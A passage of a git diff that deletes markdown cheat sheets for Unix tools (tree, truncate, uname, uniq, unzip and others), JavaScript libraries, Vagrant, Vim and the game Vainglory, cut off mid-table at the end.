-    only: ['master']
-```
-
-### Environment vars
-
-```yaml
-env:
-    - 'rack=master'
-    - 'rack=1.3.4'
-```
-
-### Custom test command
-
-```yaml
-script: make test
-before_script: make pretest
-after_script:  make clean
-
-before_script:
-  - make pretest1
-  - make pretest2
-```
-
-### Branches
-
-```yaml
-branches:
-    except:
-        - legacy
-
-    only:
-        - gh-pages
-        - /^deploy/
-```
-
-### Apt packages
-
-```yaml
-before_install:
-    - sudo apt-get update -q
-    - sudo apt-get install gcc-4.8 -y
-```
-
-<https://docs.travis-ci.com/user/installing-dependencies/>
-
-### Etc
-
-```yaml
-gemfile:
-    - gemfiles/Gemfile.rails-2.3.x
-    - gemfiles/Gemfile.rails-3.0.x
-```
-
-### References
-
--   http://about.travis-ci.org/docs/user/build-configuration/
--   http://about.travis-ci.org/docs/user/languages/javascript-with-nodejs/
--   http://about.travis-ci.org/docs/user/languages/ruby/
diff --git a/docs/content/cheat-sheets/tree.md b/docs/content/cheat-sheets/tree.md
deleted file mode 100644
index d6a30545bc..0000000000
--- a/docs/content/cheat-sheets/tree.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# To display a recursive directory tree:
-
-tree
-
-# To make tree output contents from <dir>:
-
-tree <dir>
-
-# To make tree omit any empty directories from the output:
-
-tree --prune
-
-# To list directories only (`-d`), and at a max depth of two levels (`-L`):
-
-tree -d -L 2
diff --git a/docs/content/cheat-sheets/truncate.md b/docs/content/cheat-sheets/truncate.md
deleted file mode 100644
index d3d7ab9b79..0000000000
--- a/docs/content/cheat-sheets/truncate.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# To clear the contents from <file>:
-
-truncate -s 0 <file>
-
-# To truncate <file> to 100 bytes:
-
-truncate -s 100 <file>
-
-# To truncate <file> to 100 KB:
-
-truncate -s 100K <file>
-
-# (M, G, T, P, E, Z, and Y may be used in place of "K" as required.)
diff --git a/docs/content/cheat-sheets/typescript.md b/docs/content/cheat-sheets/typescript.md
deleted file mode 100644
index e6b35f25d5..0000000000
--- a/docs/content/cheat-sheets/typescript.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# Typescript
-
-```tsx
-const fs = require('fs');
-const filesTopCopy = [
-    {
-        src: '../CONTRIBUTORS.md',
-        dest: '../docs/contributors.md',
-        hideHeader: true
-    },
-    {
-        src: '../CONTRIBUTING.md',
-        dest: '../docs/contributing.md',
-        hideHeader: true
-    }
-];
-
-const generatingPageOptions = `---
-hide_title: true
----
-`;
-
-function writeNewFile(src, dest) {
-    const fileContent = fs.readFileSync(src).toString();
-    const data = new Uint8Array(Buffer.from(generatingPageOptions + fileContent));
-
-    fs.writeFile(dest, data, (err) => {
-        if (err) {
-            console.log('Error Found:', err);
-        } else {
-            console.log('Files added');
-        }
-    });
-}
-
-function copyFile(src, dest) {
-    fs.copyFile(src, dest, (err) => {
-        if (err) {
-            console.log('Error Found:', err);
-        } else {
-            console.log('Files copied');
-        }
-    });
-}
-
-filesTopCopy.forEach(({ src, dest, hideHeader }) => {
-    if (hideHeader) {
-        writeNewFile(src, dest);
-    } else {
-        copyFile(src, dest);
-    }
-});
-x;
-```
diff --git a/docs/content/cheat-sheets/ubuntu.md b/docs/content/cheat-sheets/ubuntu.md
deleted file mode 100644
index 9a0dd9566d..0000000000
--- a/docs/content/cheat-sheets/ubuntu.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: lorem-ipsum
-hide_title: true
-excerpt: lorem-ipsum
-sections: []
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: advanced
----
diff --git a/docs/content/cheat-sheets/udisksctl.md b/docs/content/cheat-sheets/udisksctl.md
deleted file mode 100644
index a1264ad3da..0000000000
--- a/docs/content/cheat-sheets/udisksctl.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# To get info about a device:
-
-udisksctl info -b <device>
-
-# To mount a device:
-
-udisksctl mount --block-device <device>
-
-# To unmount a device:
-
-udisksctl unmount --block-device <device>
-
-# To get help:
-
-udisksctl help
diff --git a/docs/content/cheat-sheets/ulimit.md b/docs/content/cheat-sheets/ulimit.md
deleted file mode 100644
index 27bad6aec1..0000000000
--- a/docs/content/cheat-sheets/ulimit.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# Report all current limits
-
-ulimit -a
-
-# Unlimited file descriptors
-
-ulimit -n unlimited
diff --git a/docs/content/cheat-sheets/umdjs.md b/docs/content/cheat-sheets/umdjs.md
deleted file mode 100644
index d3c9d493fd..0000000000
--- a/docs/content/cheat-sheets/umdjs.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: Universal JS module loader
-category: JavaScript libraries
----
-
-### [With dependency](https://github.com/umdjs/umd/blob/master/amdWebGlobal.js)
-
-```js
-(function (root, factory) {
-    if (typeof define === 'function' && define.amd) {
-        define(['jquery'], factory);
-    } else if (typeof exports === 'object') {
-        module.exports = factory(require('jquery'));
-    } else {
-        root.YourModule = factory(root.jQuery);
-    }
-})(this, function (jquery) {
-    return {};
-});
-```
-
-### No dependencies
-
-```js
-(function (root, factory) {
-    if (typeof define === 'function' && define.amd) {
-        define(factory);
-    } else if (typeof exports === 'object') {
-        module.exports = factory();
-    } else {
-        root.YourModule = factory();
-    }
-})(this, function () {
-    return {};
-});
-```
-
-### [Supports circular references](https://github.com/umdjs/umd/blob/master/commonjsStrict.js)
-
-```js
-(function (root, factory) {
-    if (typeof define === 'function' && define.amd) {
-        define(['exports', 'jquery'], factory);
-    } else if (typeof exports === 'object') {
-        factory(exports, require('jquery'));
-    } else {
-        factory((root.YourModule = {}), root.jQuery);
-    }
-})(this, function (exports, jQuery) {
-    exports.action = function () {};
-});
-```
-
-### Reference
-
--   https://github.com/umdjs/umd
diff --git a/docs/content/cheat-sheets/uname.md b/docs/content/cheat-sheets/uname.md
deleted file mode 100644
index bedd6ca8dc..0000000000
--- a/docs/content/cheat-sheets/uname.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# To print all system information:
-
-uname -a
-
-# Linux system-hostname 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux
-
-# To print the hostname:
-
-uname -n
-
-# system-hostname
-
-# To print the kernel release:
-
-uname -r
-
-# 3.2.0-4-amd64
-
-# To print the kernel version, with more specific information:
-
-uname -v
-
-# #1 SMP Debian 3.2.32-1
-
-# To print the hardware instruction set:
-
-uname -m
-
-# x86_64
-
-# To print the kernel name:
-
-uname -s
-
-# Linux
-
-# To print the operating system:
-
-uname -o
-
-# GNU/Linux
diff --git a/docs/content/cheat-sheets/underscore-string.md b/docs/content/cheat-sheets/underscore-string.md
deleted file mode 100644
index bacecda382..0000000000
--- a/docs/content/cheat-sheets/underscore-string.md
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: Underscore-string
-category: JavaScript libraries
----
-
-### Usage
-
-    // Use it like so:
-    _.str.trim("hey");
-    _s.trim("hey");
-
-    // Unless you do:
-    _.mixin(_.string.exports());
-
-    // So you can:
-    _.trim("hey");
-    _("hey").trim();
-
-### Trimming
-
-    _.truncate("Hello world", 4) // => "Hell..."
-    _.prune("Hello world", 5)    // => "Hello..."
-
-    _.trim(" foo ")              // => "foo"
-    _.trim("-foo-", '-')         // => "foo"
-    _.ltrim
-    _.rtrim
-
-### Numbers
-
-    _.numberFormat(1000, 2)  // => "1,000.00"
-
-### Caps
-
-    _.capitalize("foo bar")       // => "Foo Bar"
-    _.humanize("hey-there foo")   // => "Hey there foo"
-    _.titleize('My name is hi')   // => "My Name Is Hi"
-
-    _.dasherize('MozTransform')   // => "-moz-transform"
-    _.underscored('MozTransform') // => "moz_transform"
-    _.classify('-moz-transform')  // => "MozTransform"
-    _.camelize('moz_transform')   // => "MozTransform"
-
-    _.slugify("hey there")        // => "hey-there"
-
-    _.swapCase("hELLO")           // => "Hello"
-
-### Checks
-
-    _.startsWith('image.gif', 'image') // => true
-    _.endsWith('image.gif', '.gif')    // => true
-    _.isBlank(" ")                     // => true (also for "\n", "")
-
-### HTML
-
-    _.escapeHTML("<div>")
-    _.unescapeHTML("&lt;div&gt;")
-    _.stripTags("<div>hi</div>")
-
-### Quote
-
-    _.quote("hi", '"') // => '"hi"'
-    _.unquote('"hi"')  // => "hi"
-
-### Splits
-
-    _.lines("hi\nthere")     // => ["hi","there"]
-    _.words("hi  there you") // => ["hi","there","you"]
-
-### Sprintf
-
-    _.sprintf("%.1f", 1.17)
-
-### Pad
-
-    _.pad("1", 8)               // => "       1"
-    _.pad("1", 8, "0")          // => "00000001"
-    _.pad("1", 8, " ", "right") // => "1       "
-    _.pad("1", 8, " ", "both")  // => "    1   "
-
-    _.lpad(..)  // same as _.pad(.., 'left')
-    _.rpad(..)  // same as _.pad(.., 'right')
-    _.lrpad(..) // same as _.pad(.., 'both')
-
-### References
-
--   https://github.com/epeli/underscore.string
diff --git a/docs/content/cheat-sheets/unicode.md b/docs/content/cheat-sheets/unicode.md
deleted file mode 100644
index 80e1a405d1..0000000000
--- a/docs/content/cheat-sheets/unicode.md
+++ /dev/null
@@ -1,99 +0,0 @@
----
-title: Unicode symbols
----
-
-    ✈   \u2708 airplane
-    ❄   \u2744 snowflake
-    ⚑   \u2691 flag
-    ☯   \u262f yinyang
-    ♞   \u265e horse
-    ☀   \u2600 rays
-    ⚠   \u26a0 warning
-
-    ★   star
-    ☆   star2
-
-    ⚐   \u2690 flag
-    ⚑   \u2691 flag
-
-### Bullets
-
-    •   \u2022
-    ·   \u00b7
-    ┄   \u2504
-    —   \u2014 (mdash)
-    -   \u2013 (ndash)
-    ◦   \u25e6 circle
-
-### Checks
-
-    ✓   \u2713 check
-    ✕   \u2715
-    ✗   \u2717 x mark
-    ✘   \u2718 x mark bold
-    ❏   \u274f checkbox
-    ×   times
-
-### Spinners
-
-      ◜◠◝◞◡◟
-      ❘❙❚
-
-### Triangles and arrows
-
-    ▲
-    ▼
-    ▶
-
-    ⬅   \u2b05
-    ⬆   \u2b06
-    ⬇   \u2b07
-
-    ◢
-    ◣
-    ◤
-    ◥
-
-    «   &laquo;
-    »   &raquo;
-    ‹   &lsaquo;
-    ›   &rsaquo;
-    •   &middot;
-
-    ⌘ - &#x2318; - &#8984; - Command Key
-    ⌥ - &#x2325; - &#8997; - Option Key
-    ⇧ - &#x21E7; - &#8679; - Shift Key
-    ⎋ - &#x238B; - &#9099; - ESC Key
-    ⇪ - &#x21ea; - &#8682; - Capslock
-    ⏎ - &#x23ce; - &#9166; - Return
-    ⌫ - &#x232b; - &#9003; - Delete / Backspace
-
-    ▸   \u25b8 right arrow
-    ▹
-
-    ◇   \u25c7
-    ◆
-
-    ◐
-    ◑
-    ◒
-    ◓
-
-    ♠   \u2660
-    ♣   \u2663
-    ♥   \u2665
-    ♦   \u2666
-
-    ✂  scissors
-    ℹ information &#008505;
-    ♡ heart &#009825;
-    ⚙ cog or gear &#009881;
-    ✉ envelope &#009993;
-    ✎ pencil &#009998;
-
-### JavaScript
-
-    "x".charCodeAt(0)
-    "x".charCodeAt(0).toString(16)
-
-    http://www.danshort.com/HTMLentities/index.php?w=dingb
diff --git a/docs/content/cheat-sheets/uniq.md b/docs/content/cheat-sheets/uniq.md
deleted file mode 100644
index 9604bbf5dd..0000000000
--- a/docs/content/cheat-sheets/uniq.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# To show all lines without duplication:
-
-# (`sort -u` and `uniq` have the same effect.)
-
-sort <file> | uniq
-
-# To show not duplicated lines:
-
-sort <file> | uniq -u
-
-# To show duplicated lines only:
-
-sort <file> | uniq -d
-
-# To count all lines:
-
-sort <file> | uniq -c
-
-# To count not duplicated lines:
-
-sort <file> | uniq -uc
-
-# To count only duplicated lines:
-
-sort <file> | uniq -dc
diff --git a/docs/content/cheat-sheets/unzip.md b/docs/content/cheat-sheets/unzip.md
deleted file mode 100644
index 7984c67fcf..0000000000
--- a/docs/content/cheat-sheets/unzip.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-tags: [compression]
----
-
-# To extract an archive:
-
-unzip <archive>
-
-# To extract an archive to a specific directory:
-
-unzip <archive> -d <directory>
-
-# To test integrity of archive:
-
-unzip -tq <archive>
-
-# To list files and directories an archive:
-
-unzip -l <archive>
diff --git a/docs/content/cheat-sheets/urpm.md b/docs/content/cheat-sheets/urpm.md
deleted file mode 100644
index efe0f983ec..0000000000
--- a/docs/content/cheat-sheets/urpm.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-tags: [packaging]
----
-
-# To search (fuzzy) <package>:
-
-urpmq -Y <package>
-
-# To check if <package> is installed:
-
-rpm -q <package>
-
-# To install <package>:
-
-urpmi <package>
-
-# To download <package> without installing it:
-
-urpmi --no-install <package>
-
-# To uninstall <package>:
-
-urpme <package>
diff --git a/docs/content/cheat-sheets/usermod.md b/docs/content/cheat-sheets/usermod.md
deleted file mode 100644
index e74bb6f108..0000000000
--- a/docs/content/cheat-sheets/usermod.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# Add user to sudo group
-
-sudo usermod -aG sudo <username>
diff --git a/docs/content/cheat-sheets/vagrant.md b/docs/content/cheat-sheets/vagrant.md
deleted file mode 100644
index d4b3414abc..0000000000
--- a/docs/content/cheat-sheets/vagrant.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: Vagrant
-category: Devops
-
-intro: |
-    [Vagrant](http://vagrantup.com) lets you build isolated virtual environments for your apps.
----
-
-### Get started
-
-Add some base boxes:
-{: .-setup}
-
-```bash
-vagrant box add precise64 http://files.vagrantup.com/precise64.box
-```
-
-Work it:
-
-```bash
-mkdir test_box
-cd test_box
-vagrant init precise64
-```
-
-Run it:
-
-```bash
-vagrant up
-vagrant ssh
-```
-
-To stop, use one of the following:
-
-```bash
-vagrant ssh        # then: sudo shutdown -h now
-vagrant suspend
-vagrant destroy    # !!
-```
-
-### Also see
-
--   [Vagrant website](http://vagrantup.com) _(vagrantup.com)_
--   [Vagrantfile cheatsheet](./vagrantfile)
diff --git a/docs/content/cheat-sheets/vagrantfile.md b/docs/content/cheat-sheets/vagrantfile.md
deleted file mode 100644
index 4f77c09ed3..0000000000
--- a/docs/content/cheat-sheets/vagrantfile.md
+++ /dev/null
@@ -1,127 +0,0 @@
----
-title: Vagrantfile
-category: Devops
----
-
-## Vagrantfile
-
-{: .-one-column}
-
-```rb
-Vagrant.configure("2") do |config|
-  # All Vagrant configuration is done here. The most common configuration
-  # options are documented and commented below. For a complete reference,
-  # please see the online documentation at vagrantup.com.
-
-  # Every Vagrant virtual environment requires a box to build off of.
-  config.vm.box = "precise64"
-
-  # The url from where the 'config.vm.box' box will be fetched if it
-  # doesn't already exist on the user's system.
-  # config.vm.box_url = "http://domain.com/path/to/above.box"
-
-  # Create a forwarded port mapping which allows access to a specific port
-  # within the machine from a port on the host machine. In the example below,
-  # accessing "localhost:8080" will access port 80 on the guest machine.
-  # config.vm.network :forwarded_port, guest: 80, host: 8080
-
-  # Create a private network, which allows host-only access to the machine
-  # using a specific IP.
-  # config.vm.network :private_network, ip: "192.168.33.10"
-
-  # Create a public network, which generally matched to bridged network.
-  # Bridged networks make the machine appear as another physical device on
-  # your network.
-  # config.vm.network :public_network
-
-  # If true, then any SSH connections made will enable agent forwarding.
-  # Default value: false
-  # config.ssh.forward_agent = true
-
-  # Share an additional folder to the guest VM. The first argument is
-  # the path on the host to the actual folder. The second argument is
-  # the path on the guest to mount the folder. And the optional third
-  # argument is a set of non-required options.
-  # config.vm.synced_folder "../data", "/vagrant_data"
-
-  # Provider-specific configuration so you can fine-tune various
-  # backing providers for Vagrant. These expose provider-specific options.
-  # Example for VirtualBox:
-  #
-  # config.vm.provider :virtualbox do |vb|
-  #   # Don't boot with headless mode
-  #   vb.gui = true
-  #
-  #   # Use VBoxManage to customize the VM. For example to change memory:
-  #   vb.customize ["modifyvm", :id, "--memory", "1024"]
-  # end
-  #
-  # View the documentation for the provider you're using for more
-  # information on available options.
-
-  # Enable provisioning with Puppet stand alone.  Puppet manifests
-  # are contained in a directory path relative to this Vagrantfile.
-  # You will need to create the manifests directory and a manifest in
-  # the file precise64.pp in the manifests_path directory.
-  #
-  # An example Puppet manifest to provision the message of the day:
-  #
-  # # group { "puppet":
-  # #   ensure => "present",
-  # # }
-  # #
-  # # File { owner => 0, group => 0, mode => 0644 }
-  # #
-  # # file { '/etc/motd':
-  # #   content => "Welcome to your Vagrant-built virtual machine!
-  # #               Managed by Puppet.\n"
-  # # }
-  #
-  # config.vm.provision :puppet do |puppet|
-  #   puppet.manifests_path = "manifests"
-  #   puppet.manifest_file  = "init.pp"
-  # end
-
-  # Enable provisioning with chef solo, specifying a cookbooks path, roles
-  # path, and data_bags path (all relative to this Vagrantfile), and adding
-  # some recipes and/or roles.
-  #
-  # config.vm.provision :chef_solo do |chef|
-  #   chef.cookbooks_path = "../my-recipes/cookbooks"
-  #   chef.roles_path = "../my-recipes/roles"
-  #   chef.data_bags_path = "../my-recipes/data_bags"
-  #   chef.add_recipe "mysql"
-  #   chef.add_role "web"
-  #
-  #   # You may also specify custom JSON attributes:
-  #   chef.json = { :mysql_password => "foo" }
-  # end
-
-  # Enable provisioning with chef server, specifying the chef server URL,
-  # and the path to the validation key (relative to this Vagrantfile).
-  #
-  # The Opscode Platform uses HTTPS. Substitute your organization for
-  # ORGNAME in the URL and validation key.
-  #
-  # If you have your own Chef Server, use the appropriate URL, which may be
-  # HTTP instead of HTTPS depending on your configuration. Also change the
-  # validation key to validation.pem.
-  #
-  # config.vm.provision :chef_client do |chef|
-  #   chef.chef_server_url = "https://api.opscode.com/organizations/ORGNAME"
-  #   chef.validation_key_path = "ORGNAME-validator.pem"
-  # end
-  #
-  # If you're using the Opscode platform, your validator client is
-  # ORGNAME-validator, replacing ORGNAME with your organization name.
-  #
-  # If you have your own Chef Server, the default validation client name is
-  # chef-validator, unless you changed the configuration.
-  #
-  #   chef.validation_client_name = "ORGNAME-validator"
-end
-```
-
-## Also see
-
--   [Vagrant cheatsheet](./vagrant)
diff --git a/docs/content/cheat-sheets/vainglory.md b/docs/content/cheat-sheets/vainglory.md
deleted file mode 100644
index cdd2f7ed15..0000000000
--- a/docs/content/cheat-sheets/vainglory.md
+++ /dev/null
@@ -1,151 +0,0 @@
----
-title: Vainglory
----
-
-## T3 items by use
-
-{: .-one-column}
-
-| Use                    | CP                                | WP                           | Util                                                                           |
-| ---------------------- | --------------------------------- | ---------------------------- | ------------------------------------------------------------------------------ |
-| **Anti-armor/shield**  | [Myth][bm]                        | [Bonesaw][bs], [Tension][tb] |                                                                                |
-| **Stacking damage**    | [Myth][bm]                        | [Break][bp]                  |                                                                                |
-| **Lifesteal**          | [Eve][eve]                        | [Serpent][sm], [Shiv][ps]    |                                                                                |
-| **Raw power**          | [Shatterglass][sg]                | [Sorrowblade][sb]            |                                                                                |
-| **Burst damage**       | [Aftershock][as]                  | [Tension][tb]                |                                                                                |
-| **Attack speed**       | [AC][ac]                          | [Tornado][tt], [Break][bp]   |                                                                                |
-| **Critical**           |                                   | [Monocle][tm]                |                                                                                |
-| **Auto-attack damage** | [AC][ac], [Aftershock][as]        | _everything_                 | [Stormcrown][sc]                                                               |
-| **Cooldown**           | [Clockwork][cw], [Aftershock][as] | Spellsword                   | [Stormcrown][sc], [Contraption][con], [Nullwave][null], [Halcyon Boots][hboot] |
-| **Slow**               | [Frostburn][fb]                   |                              | [Shiversteel][ss]                                                              |
-| **Reflex block**       |                                   |                              | [Aegis][aegis] (self/shield) <br> [Crucible][cru] (team/HP)                    |
-| **Ability repeat**     | [Echo][echo]                      |                              |                                                                                |
-
-{: .-left-align.-headers}
-
-## Tier 3 items
-
-{: .-one-column}
-
-### Crystal power
-
-| Item                          | Cost  | CP      | Use                                                                                    |
-| ----------------------------- | ----- | ------- | -------------------------------------------------------------------------------------- |
-| AS: [Aftershock][as]          | 2400  | +35 cp  | **Basic dmg, atk speed** <br> _+basic dmg after ability_, +25% cooldown, +2.5 recharge |
-| EoH: [Eve of Harvest][eve]    | 2600  | +55 cp  | **Lifesteal** <br> _+10% lifesteal_, +250 energy, +5 recharge                          |
-| AC: [Alternating Current][ac] | 2800  | +60 cp  | **Basic dmg** <br> _+basic dmg based on CP_, +65% atk speed                            |
-| BM: [Broken Myth][bm]         | 2150  | +70 cp  | **Stack dmg** <br> +10% shield pierce, stacking dmg                                    |
-| FB: [Frostburn][fb]           | 2600  | +100 cp | **Slow** <br> _slow for 1.5s_ at (10% + 1% per 10CP)                                   |
-| SG: [Shatterglass][sg]        | 3000  | +150 cp | **Raw power** <br> -                                                                   |
-| CW: [Clockwork][cw]           | 2500  | +30% cp | **Cooldown** <br> _+40% cooldown_, +250 energy, +7.5 recharge                          |
-| [Echo][echo]                  | 2500? |         | **Ability repeat** <br> +250 energy, +4 recharge                                       |
-
-{: .-left-align.-headers}
-
-[as]: http://www.vaingloryfire.com/vainglory/wiki/items/aftershock
-[ac]: http://www.vaingloryfire.com/vainglory/wiki/items/alternating-current
-[eve]: http://www.vaingloryfire.com/vainglory/wiki/items/eve-of-harvest
-[sg]: http://www.vaingloryfire.com/vainglory/wiki/items/shatterglass
-[bm]: http://www.vaingloryfire.com/vainglory/wiki/items/broken-myth
-[cw]: http://www.vaingloryfire.com/vainglory/wiki/items/clockwork
-[fb]: http://www.vaingloryfire.com/vainglory/wiki/items/frostburn
-[echo]: http://www.vaingloryfire.com/vainglory/wiki/items/echo
-
-### Weapon power
-
-| Item                       | Cost | WP      | Other                                                                         |
-| -------------------------- | ---- | ------- | ----------------------------------------------------------------------------- |
-| TT: [Tornado Trigger][tt]  | 2600 |         | **Atk speed** <br> _+75% atk speed_, +20% crit change, +20% crit dmg          |
-| BS: [Bonesaw][bs]          | 2700 | +15 wp  | **Armor shred** <br> _stacking armor shred_                                   |
-| TB: [Tension Bow][tb]      | 2300 | +45 wp  | **Bonus dmg** <br> _bonus dmg every 6s_, +8% armor pierce                     |
-| TM: [Tyrant's Monocle][tm] | 2750 | +50 wp  | **Crit** <br> _+40% crit chance_, +20% crit dmg                               |
-| BP: [Breaking Point][bp]   | 2600 | +55 wp  | **Stacking dmg** <br> _stacking weapon dmg_, +35% atk speed                   |
-| SM: [Serpent Mask][sm]     | 2800 | +85 wp  | **Lifesteal** <br> _stacking lifesteal_, +10% lifesteal                       |
-| SB: [Sorrowblade][sb]      | 3100 | +150 wp | **Raw power** <br> -                                                          |
-| PS: [Poisoned Shiv][ps]    | 2250 | +30 wp  | **Mortal wounds** <br> _mortal wounds for 2s_, +10% lifesteal, +30% atk speed |
-| SS: Spellsword             | ?    | +90 wp  | **Cooldown** <br> ?                                                           |
-
-{: .-left-align.-headers}
-
-[bs]: http://www.vaingloryfire.com/vainglory/wiki/items/bonesaw
-[bp]: http://www.vaingloryfire.com/vainglory/wiki/items/breaking-point
-[sm]: http://www.vaingloryfire.com/vainglory/wiki/items/serpent-mask
-[sb]: http://www.vaingloryfire.com/vainglory/wiki/items/sorrowblade
-[tb]: http://www.vaingloryfire.com/vainglory/wiki/items/tension-bow
-[tt]: http://www.vaingloryfire.com/vainglory/wiki/items/tornado-trigger
-[tm]: http://www.vaingloryfire.com/vainglory/wiki/items/tyrants-monocle
-[ps]: http://www.vaingloryfire.com/vainglory/wiki/items/poisoned-shiv
-
-### Utilities
-
-| Item                            | Cost | HP      | Use                                                                 |
-| ------------------------------- | ---- | ------- | ------------------------------------------------------------------- |
-| [Halcyon Chargers][hboot]       | 2300 | +200 hp | 👟 **Boots** <br> +15% cooldown, +250 energy, +4 recharge           |
-| [Stormcrown][sc]                | 2200 | +200 hp | 🔴 **Bonus dmg** <br> +30% cooldown, +4 recharge, bonus true damage |
-| [Journey Boots][jboot]          | 1900 | +250 hp | 👟 **Boots** <br> damaging heroes resets sprint cooldown            |
-| [Nullwave Gauntlet][null] (2.0) | 2250 | +300 hp | 😶 **Item silence** <br> +25% cooldown                              |
-| [Contraption][con]              | 2100 | +350 hp | 👀 **Vision** <br> traps/flares, +40% cooldown, +3 recharge         |
-| [Shiversteel][ss]               | 1450 | +500 hp | 🐌 **Slow** <br> active: slow targets                               |
-| [War Treads][wboot]             | 2500 | +600 hp | 👟 **Boots** <br> gives sprint to nearby teammates                  |
-
-{: .-left-align.-headers}
-
-### Defense
-
-| Item                            | Cost | HP      | Armor   | Shield  | Use                                    |
-| ------------------------------- | ---- | ------- | ------- | ------- | -------------------------------------- |
-| [Aegis][aegis]                  | 2250 |         | +30 ar  | +125 sh | ✊**Reflex block** (self)              |
-| [Fountain of Renewal][fountain] | 2300 | +200 hp | +30 ar  | +75 sh  | ❤ **Heal** allies                      |
-| [Atlas Pauldron][atlas]         | 1900 |         | +85 ar  | +35 sh  | 🐌 **Slow** target attack speed        |
-| [Metal Jacket][metal]           | 2100 |         | +170 ar | +35 sh  |                                        |
-| [Crucible][cru]                 | 1850 | +600 hp |         |         | ✊ **Reflex block** (team)             |
-| [Slumbering Husk][husk] (2.0)   | 1600 | +400 hp |         |         | **Fortification** against burst damage |
-
-{: .-left-align.-headers}
-
-[fountain]: http://www.vaingloryfire.com/vainglory/wiki/items/fountain-of-renewal
-[cru]: http://www.vaingloryfire.com/vainglory/wiki/items/aegis
-[aegis]: http://www.vaingloryfire.com/vainglory/wiki/items/aegis
-[atlas]: http://www.vaingloryfire.com/vainglory/wiki/items/atlas-pauldron
-[metal]: http://www.vaingloryfire.com/vainglory/wiki/items/metal-jacket
-[husk]: http://www.vaingloryfire.com/vainglory/wiki/items/slumbering-husk
-[null]: http://www.vaingloryfire.com/vainglory/wiki/items/nullwave-gauntlet
-
-### Boots
-
-| Item                      | Movement speed | HP      | Sprint                                          | Use            |
-| ------------------------- | -------------- | ------- | ----------------------------------------------- | -------------- |
-| [War Treads][wboot]       | +0.4           | +600 hp | 2s (60s cooldown) <br> incl. nearby teammates   | **HP, assist** |
-| [Halcyon Chargers][hboot] | +0.5           |         | 3s (50s cooldown)                               | **Energy**     |
-| [Journey Boots][jboot]    | +0.6           | +250 hp | 2s (60s cooldown) <br> damaging resets cooldown | **Gap close**  |
-
-{: .-left-align.-headers}
-
-[con]: http://www.vaingloryfire.com/vainglory/wiki/items/contraption
-[hboot]: http://www.vaingloryfire.com/vainglory/wiki/items/halcyon-chargers
-[wboot]: http://www.vaingloryfire.com/vainglory/wiki/items/war-treads
-[jboot]: http://www.vaingloryfire.com/vainglory/wiki/items/journey-boots
-[sc]: http://www.vaingloryfire.com/vainglory/wiki/items/stormcrown
-[ss]: http://www.vaingloryfire.com/vainglory/wiki/items/shiversteel
-
-## Skill tier names
-
-| Just Beginning | 1 |
-| Getting There | 2 |
-| Rock Solid | 3 |
-| Worthy Foe |4 |
-| Got Swagger | 5 |
-| Credible Threat | 6 |
-| The Hotness | 7 |
-| Simply Amazing | 8 |
-| Pinnacle of Awesome | 9 |
-| Vainglorious | 10 |
-
-See: [Skill tier names](http://www.vaingloryfire.com/vainglory/forum/general-discussion/bronze-silver-gold-rankings-5312)
-
-## References
-
--   Last updated for Vainglory 1.22 with some 2.0 stuff.
--   [Vaingloryfire.com](http://www.vaingloryfire.com/)
--   [Version history](http://forums.vainglorygame.com/index.php?threads/41129/) (forums.vainglorygame.com)
--   [Skill tier points](http://brokenmyth.net/skill-tier-point-far-next-tier/#more-10043) (brokenmyth.net)
diff --git a/docs/content/cheat-sheets/vim-diff.md b/docs/content/cheat-sheets/vim-diff.md
deleted file mode 100644
index 037cf145b0..0000000000
--- a/docs/content/cheat-sheets/vim-diff.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Vimdiff
-category: Vim
-
-weight: -10
-intro: |
-    [Vim](http://www.vim.org/) is a very efficient text editor. This reference was made for Vim 8.0.
----
-
-## Getting started
-
-### Navigating
-
-| Shortcut | Description         |
-| -------- | ------------------- |
-| `]c`     | Next difference     |
-| `[c`     | Previous difference |
-
-{: .-shortcuts}
-
-### Editing
-
-| Shortcut      | Description                                            |
-| ------------- | ------------------------------------------------------ |
-| `do`          | Diff Obtain! <br>Pull the changes to the current file. |
-| `dp`          | Diff Put! <br>Push the changes to the other file.      |
-| ---           | ---                                                    |
-| `:diffupdate` | Re-scan the files for differences.                     |
-| `ZQ`          | Quit without checking changes                          |
-
-{: .-shortcuts}
-
-### Folds
-
-| Shortcut      | Description                  |
-| ------------- | ---------------------------- |
-| `zo` _/_ `zO` | Open                         |
-| `zc` _/_ `zC` | Close                        |
-| `za` _/_ `zA` | Toggle                       |
-| ---           | ---                          |
-| `zv`          | Open folds for this line     |
-| ---           | ---                          |
-| `zM`          | Close all                    |
-| `zR`          | Open all                     |
-| ---           | ---                          |
-| `zm`          | Fold more _(foldlevel += 1)_ |
-| `zr`          | Fold less _(foldlevel -= 1)_ |
-| ---           | ---                          |
-| `zx`          | Update folds                 |
-
-{: .-shortcuts}
-
-## Also see
-
--   [Vim cheatsheet](https://vim.rtorr.com/) _(vim.rotrr.com)_
--   [Vim documentation](http://vimdoc.sourceforge.net/htmldoc/) _(vimdoc.sourceforge.net)_
--   [Interactive Vim tutorial](http://openvim.com/) _(openvim.com)_
diff --git a/docs/content/cheat-sheets/vim-digraphs.md b/docs/content/cheat-sheets/vim-digraphs.md
deleted file mode 100644
index d69deae430..0000000000
--- a/docs/content/cheat-sheets/vim-digraphs.md
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: Vim digraphs
-category: Vim
----
-
-### Typing digraphs in insert mode
-
-```
-<Ctrl-K>OK
-```
-
-{:.light}
-
-### Listing digraphs
-
-```
-:dig
-:digraphs
-```
-
-{:.lights}
-
-## Reference
-
-### Symbols
-
-| ℠ | ™ | © | ® | ¶ | † | ‡ | &ndash; | ± |
-| SM | TM | Co | Rg | PI | /- | /= | -- | +- |
-
-| § | µ | £ | ¢ | ¥ | ¤ |
